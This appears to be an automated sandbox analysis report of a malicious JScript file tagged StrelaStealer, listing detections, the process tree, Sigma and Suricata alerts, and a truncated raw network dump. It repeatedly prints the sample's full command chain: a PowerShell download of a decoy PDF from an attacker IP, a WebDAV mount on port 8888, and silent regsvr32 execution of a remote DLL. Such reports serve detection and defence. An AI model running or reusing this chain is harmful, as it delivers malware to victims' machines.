Edit tour

Windows Analysis Report
1194187433219817322.js

Overview

General Information

Sample name:	1194187433219817322.js
Analysis ID:	1588923
MD5:	77add6afb74b741b0255271300c63501
SHA1:	49d13ba25e45101479b50eb31c7d0d65e09c1296
SHA256:	a6bcb74282c60525f5959b876071c730eb45e94841f5d912fbe9def631f65399
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6636 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6780 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6928 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7144 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7204 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1592,i,10059051693304301172,1905807202647789528,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3912 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6708 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7080 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6636	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6780, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6928, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6780, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6928, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", ProcessId: 6636, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6708, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 6780, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", ProcessId: 6636, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6780, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6928, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3912, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6708, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7080, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3912, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6708, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll, ProcessId: 6780, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:17:34.668531+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:17:37.188682+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:17:34.668531+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1194187433219817322.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1194187433219817322.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1194187433219817322.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:17:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

